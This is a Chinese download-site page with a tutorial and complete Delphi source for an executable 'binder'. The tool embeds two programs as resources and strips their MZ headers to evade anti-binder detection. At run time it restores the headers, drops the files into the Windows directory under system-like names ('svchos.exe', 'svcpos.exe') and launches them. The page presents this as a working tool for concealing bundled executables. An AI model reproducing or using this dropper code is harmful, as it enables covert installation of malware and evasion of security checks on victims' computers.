⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 说明.txt

📁 可将两个文件捆绑在一起同时的运行 大家可以看看
💻 TXT
字号:
有点PE知识的都知道 

Exe文件都是以一个MZ头开始的 

这样我们捆绑两个exe文件到一起 就会被那些反捆绑的东西(手工也可以查) 查出来两个MZ头


其实我们完全可以把MZ头去掉 然后在程序中动态还原。。

-----------------------------------------------------
首先要建立我们的资源文件,新建个文本文档 写入
URLMM RCData 1.exe
URLKK RCData 2.exe
如果你有N个文件要捆绑 就写N行了。。。 我以这两个exe做演示 


把所有需要捆绑的文件都以这样的形式写入,保存为rc后缀的文件me.rc,

再建立个 编译资源.bat文件 写入 

Brcc32 me.rc

运行 编译资源.bat 得到资源文件 me.RES 

准备工作做完了,接着在delphi中新建一个console application

为了不浪费时间 代码我都写好了  代码写的很简单 就是利用资源文件释放两个exe文件 然后运行之。。 动态的把mz头写入 

我编译下  运行了吧 呵呵 还没完  

这样还没有完事 是可以被查出来的 我们把MZ去掉了 因为在程序里 我有还原 所以不用担心不会运行 

这里你要知道那些MZ是exe的头 不要乱去 现在查不出来了吧 运行下 看看 可以吧 

exe图标 版权  这个问题 我们就很简单了 在程序里可以加 也可以手动加 
-----------------------------------------------------

program ximen;

uses
  windows,
  shellapi; //必须用到的单元
var
  Ehead: string='N[';

{$R me.res} //连接我们的资源文件


procedure ReSetMZ;
var
  j: Integer;
begin
  for j:=1 to 2 do Ehead[j] := Char(Byte(Ehead[j]) - 1);
{ 反捆绑软件一般是以'MZ'作特征码的,所以要动态生成'MZ'这里不加密也是一样的 不过为了完美些 让他连MZ影子都看不到  . }
end;

procedure LingLei(LuJing:string;wenjian:string);  //释放资源  还原exe头
var
  WriteBuff, ResultFilePath, ResourcePointer: PChar;
  ResourceLocation: HRSRC;
  ResourceSize, BytesWritten: Longword;
  ResDataHandle: THandle;
  FileHandle: THandle;

begin
 // Ehead :='MZ';
  ResultFilePath := pchar(Lujing);
  ResourceLocation := FindResource(HInstance, pchar(wenjian), RT_RCDATA); //资源文件名

  if ResourceLocation <> 0 then     //如果资源文件存在
  begin
    ResourceSize := SizeofResource(HInstance, ResourceLocation);
    if ResourceSize <> 0 then
    begin
      ResDataHandle := LoadResource(HInstance, ResourceLocation);
      if ResDataHandle <> 0 then
      begin
        ResourcePointer := LockResource(ResDataHandle);
        if ResourcePointer <> nil then
        begin
          FileHandle := CreateFile(ResultFilePath, GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
          if FileHandle <> INVALID_HANDLE_VALUE then
          begin
            WriteFile(FileHandle, ResourcePointer^, ResourceSize, BytesWritten, nil);
            Sleep(10);
            SetFilePointer(FileHandle, 0, nil, FILE_BEGIN);          //把MZ头还原回去
            WriteBuff := PChar(Ehead + StringOfChar(#0,  2- Length(Ehead)));
            WriteFile(FileHandle, WriteBuff^, 2, BytesWritten, nil);
            CloseHandle(FileHandle);
          end;
        end;
      end;
    end;
  end;
end;

var
sysdir:array[0..145] of char;
exe1,exe2:string;
begin
ReSetMZ;
GetwindowsDirectory(sysdir,145);
exe1:=sysdir+'\'+'svchos.exe';
exe2:=sysdir+'\'+'svcpos.exe';

Linglei(exe1,'urlmm');
Linglei(exe2,'urlkk');
sleep(1000);
ShellExecute(0, 'open', PChar(exe1), nil, nil, SW_SHOW); //调用shellexecute这个api
ShellExecute(0, 'open', PChar(exe2), nil, nil, SW_SHOW); //调用shellexecute这个api

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -